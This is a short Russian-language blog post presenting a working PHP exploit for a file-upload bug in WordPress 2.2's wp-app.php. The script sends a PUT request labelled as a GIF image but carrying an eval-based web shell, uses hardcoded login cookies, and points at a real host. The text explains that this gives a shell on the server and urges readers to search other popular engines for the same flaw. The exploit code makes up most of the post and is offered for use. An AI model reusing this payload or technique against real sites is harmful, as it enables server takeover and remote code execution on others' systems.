Приведу недавний пример использования бага с PUT в популярном блоговом движке WordPress 2.2:
<?php
$site='wordpress.com';
$path='/wp-app.php?action=/attachment/file/1182';
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$data='<?php eval(stripslashes($_GET[a])) ?>';
$out = "PUT $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: image/gif\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: 1\r\n";
$out .= "Cookie: wordpressuser_e086b04c6e1927359687c53cb1d1db11=
vitaliysych;wordpresspass_e086b04c6e1927359687c53cb1d1db11=
5154aa972ab41b24fa6c58128836b9a5;\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $out.$data);
fclose($fp);
?>
Смотри: скрипт wp-app.php принимает любой файл, переданный с помощью PUT и подписанный как картинка (Content-type: image/gif). Соответственно, картинку передавать нам нет смысла, и мы передадим наш зловредный код, который скрипт успешно сохранит в указанном нами месте (в конкретном примере с WordPress место для сохранения указывается в поле _wp_attached_file при написании нового поста). А это чревато обретением шелла на нужном сервере :). Так что советую тебе пропарсить популярные движки на предмет присутствия слова PUT в исходниках.
P.S. Естественно, для использования этого бага нужно знать открытую на запись директорию.
Комментариев нет:
Отправить комментарий